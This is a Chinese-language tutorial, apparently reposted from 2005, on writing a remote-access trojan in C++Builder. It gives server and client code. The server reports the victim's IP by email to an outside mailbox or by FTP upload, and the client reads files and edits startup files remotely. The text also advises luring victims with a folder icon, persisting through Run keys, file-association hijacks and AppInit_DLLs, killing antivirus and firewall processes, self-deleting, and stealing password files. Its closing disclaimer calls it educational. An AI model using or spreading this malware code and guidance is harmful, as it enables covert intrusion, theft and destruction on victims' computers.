庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>黑客编程>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

木马是如何编写的(三)

 作者:本站收集   日期:2005-5-23
字号选择〖 〗/ 双击滚屏 单击停止   
  上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下:

{
END:;
  Socket-〉Close();
  //关闭服务
  ServerSocket1-〉Active =true;
  //再次打开服务
  if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
  //如果SMTP服务器已连接则断开
  NMSMTP1-〉Host = "smtp.163.net";
  //选一个好用的SMTP服务器,如163、263、sina和btamail
  NMSMTP1-〉UserID = "";
  //你SMTP的ID
  try
  {
   NMSMTP1-〉Connect();
   //再次连接
  }
  catch(...)
  {
   goto NextTime;
   //跳到NextTime
  }
  NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
  //受害者的Email地址
  NMSMTP1-〉PostMessage-〉FromName = "Casualty";
  //受害者的名字
  NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";
  //将信发到我的邮箱,这一步很关键
  NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:") + NMSMTP1-〉LocalIP ;
  //信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
  NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
  //信的主题
  NMSMTP1-〉SendMail();
  //发送!
  return;
  //返回


NextTime:
  NMFTP1-〉Host = "ftp.go.163.com";
  //你的FTP服务器的地址
  NMFTP1-〉UserID = "";
  //你的用户ID
  NMFTP1-〉Port = 21;
  //FTP端口号,一般为21
  NMFTP1-〉Password = "";
  //你的FTP的密码
  if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
  //如果已连接就断开
  try
   {
    NMFTP1-〉Connect();
    //再连接
   }
  catch(...)
   {
    return;
    //返回
   }
  AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
  //受害者的IP地址
  FILE * Upload;
  Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
  //创建一个新文件准备写,如果已存在就覆盖
  fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
  //写入以上的SendToSite的内容
  fclose(Upload);
  //写完后关闭此文件
  NMFTP1-〉RemoveDir("public_html");
  //删除public_html目录
  NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
  //上传!
}
  啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:



#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sys\stat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉


  至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击——搞定客户端程序(Client)!


  客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!)


  双击Button1,在Button1Click事件中添加如下代码:


{
   if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
   //如果输入IP地址框或输入端口号框有一个为空,就什么也不作
   ClientSocket1-〉Address=Edit2-〉Text;
   //目标IP地址
   ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
   //目标端口号,本例中的44444
   ClientSocket1-〉Open();
   //连接!
}

  选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码:
{
  if((Edit1-〉Text=="edit conf 1")||(Edit1-〉Text=="edit conf 2"))
  //如果是要编辑autoexec.bat或config.sys
   Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);
   //发送命令和欲添加的语句
  else
   Socket-〉SendText(Edit1-〉Text);
   //否则只发送命令
}



  双击OnRead事件,在ClientSocket1Read下添加如下代码:
{
  AnsiString ReadIn = Socket-〉ReceiveText();
  //读入收到的返回信息
  Edit4-〉Text="";
  //清空编辑框
  FILE *fp;
  fp = fopen("ReadIn.tmp","w");
  //建立一个临时文件ReadIn.tmp
  fwrite(ReadIn.c_str(),1,10000,fp);
  //写入信息
  fclose(fp);
  //关闭之
  Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");
  //在编辑框中显示返回的信息
}


  为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入:


{
  if(Key==VK_RETURN)Button1Click(Sender);
  //如果敲的是回车键,就和点击Button1一样的效果
}


  最后再添加以下头文件:


#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
  终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。

  接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“edit conf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dir xxx”(xxx是目录名)就可以看到目录和文件,敲“type xxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧?

  以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:

  首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。

  还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如:

  与exe文件建立关联:HKEY_CLASSES_ROOT\exefile\shell\open\command
   与txt文件建立关联:HKEY_CLASSES_ROOT\txtfile\shell\open\command
   与dll文件建立关联:HKEY_CLASSES_ROOT\dllfile\shell\open\command

等,当然还可以自己扩充。目前还有一种新方法:在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
\Windows下添加如下键值 "AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID 进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”——“软件环境”——“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。

  木马的功能还可以大大扩充。你可以充分发挥你的想象力——比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子),窃取重要的密码文件如pwl和sam文件,格式化磁盘,乱写磁盘扇区(像病毒大爆发),破坏零磁道,乱写BIOS(像CIH),胡乱设置CMOS,加密MBR、HDPT和FAT(像江民炸弹)……真是琳琅满目、心狠手辣呀!而且实现起来并不是很复杂,只不过后面几项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾将上下而求索……

  如果你想更安全地执行你的入侵活动,就应该像广外女生一样可以杀掉防火墙和杀毒软件的进程。防火墙和杀毒软件监视的是特征码,如果你是新木马,它就不吱一声;但是如果你打开不寻常的端口,它就会跳出来报警。因此最好的办法是启动后立即分析当前进程,查找有没有常见防火墙和杀毒软件的进程,如果有就杀无赦。比如常见的如:Lockdown,天网防火墙,网络卫兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。杀掉后,再在特定的内存地址中作一个标记,使它们误以为自己已启动,因此不会再次启动自己了。
  
   针对来自反汇编工具的威胁。如果有人试图将你的木马程序反汇编,他成功后,你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品。首先想到的是条件跳转,条件跳转对于反向工程来说并不有趣。没有循环,只是跳转,作为使偷窃者令人头痛的路障。这样,就没有简单的反向操作可以执行了。陷阱,另一个我不太肯定,但听说有程序使用的方法:用CRC校验你的EXE文件,如果它被改变了,不要显示典型错误信息,而给予偷窃者致命的一击。


  最后如果你需要它完成任务后可以自己删除自己,我提示你:退出前建立一个批处理文件,加入循环删除本exe文件和本批处理文件自己的命令后保存,执行它,再放心地退出。你可以试一下,所有文件都消失了吧?!这叫“踏雪无痕”。


  入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不会报警,而且你自己心里也坦然一些——毕竟是自己的作品吗!如果你是系统管理员,那就请你不要偷懒,不仅要经常扫描1024以下的端口,而且包括1024以上的高端端口也要仔细扫描,65535个端口一个也不能漏。因为许多木马打开的就是高端端口(如本例中的4444)。


  写在最后:上面例子的用意并不是教你去如何攻击他人,目的只是让你了解木马的工作原理和简单的编写步骤,以便更好地防范和杀除木马,维护我们自己应有的网络安全。因此,请列位看官好自为之,不要乱下杀手啊!

上一篇:木马是如何编写的(二)    下一篇:Win32教程6-处理键盘输入消息  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-23
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿